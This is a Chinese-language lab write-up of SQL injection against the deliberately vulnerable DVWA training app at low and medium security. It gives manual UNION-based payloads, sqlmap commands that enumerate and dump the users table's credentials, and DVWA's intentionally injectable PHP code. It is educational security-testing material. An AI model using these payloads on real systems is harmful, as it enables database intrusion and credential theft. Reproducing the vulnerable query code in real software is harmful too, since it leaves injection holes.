DVWA学习之SQL注入
环境工具
dvwa 1.9
phpstudy
firefox
burpsuite
实验步骤
一、设置安全级别为LOW
1. 登录DVWA,并将安全级别设置为LOW
2. 进入SQL注入模块,并输入1,返回结果如下
3. 下面判断注入类型是字符型注入还是整数型注入
字符型注入的SQL语句形如
select * from xx where id='$id'
整数型注入的SQL语句形如
select * from xx where id=$id
(1) 分别输入 1 and 1=1 和 1 and 1=2,都能返回正常结果
说明不是整数型注入,因为如果是整数型注入,执行select * from xx where id=1 and 1=2 时应报错。
(问:select * from xx where id='1 and 1=2' 这里应该不返回结果才对?)
(2) 输入 1’ or '1'='1 ,返回所有结果
4. 获取列数
(1) 1' or '1'='1' order by 3 #
(2) 1' or '1'='1' order by 2 #
说明表中的数据共两列
5. 获取数据库名
1' union select 1, database() #
6. 获取数据库中的表名
1' or '1'='1' union select 1,table_name from information_schema.tables where table_schema=database() #
获取guestbook, users 两张表
7. 获取users表中的列名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #
8. 获取users 表中的用户名密码
1' union select user,password from users #
用sqlmap 实现SQL注入
1. 尝试直接用url,发现结果跳转到登录页面,所以需要cookie
2. 带上cookie参数
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1"
3. 使用--batch 参数,可以让sqlmap为我们自动填写执行选项
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --batch
4. 使用--dbs 获取所有的数据库
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --dbs
5. 使用-D指定数据库,--tables 查看数据中的表
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa --tables
6. 用-D xxx -T xxx 指定表,--columns查看表的列
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa -T users --columns
7. 用-C xxx --dump 输出指定列的数据
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" -D dvwa -T users -C first_name,last_name,password --dump
(sqlmap 还可以爆破hash密码)
附录
服务器核心代码(LOW)
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); } ?>
二、设置安全级别为MEDIUM
1. 设置dvwa的安全级别为medium
2. sql注入界面随便选择id,返回正确结果
此时没有输入框,但可以通过burpsuite抓包的形式进行注入
3. 在burpsuite中修改id参数,即可实现注入
medium 的代码中添加了对特殊字符的转义,但由于medium为数字型注入,用不上引号,所以可以用跟字符型注入同样的方式进行注入
Sqlmap 实现注入
1. 用burpsuite 捕获正常的数据包,然后右键,选择 "copy to file",保存为sql_dvwa.txt
2. 启动sqlmap进行注入
python sqlmap.py -r sql_dvwa.txt
其他操作同上
附录
服务器核心代码如下(medium)
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Display values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } //mysql_close(); } ?>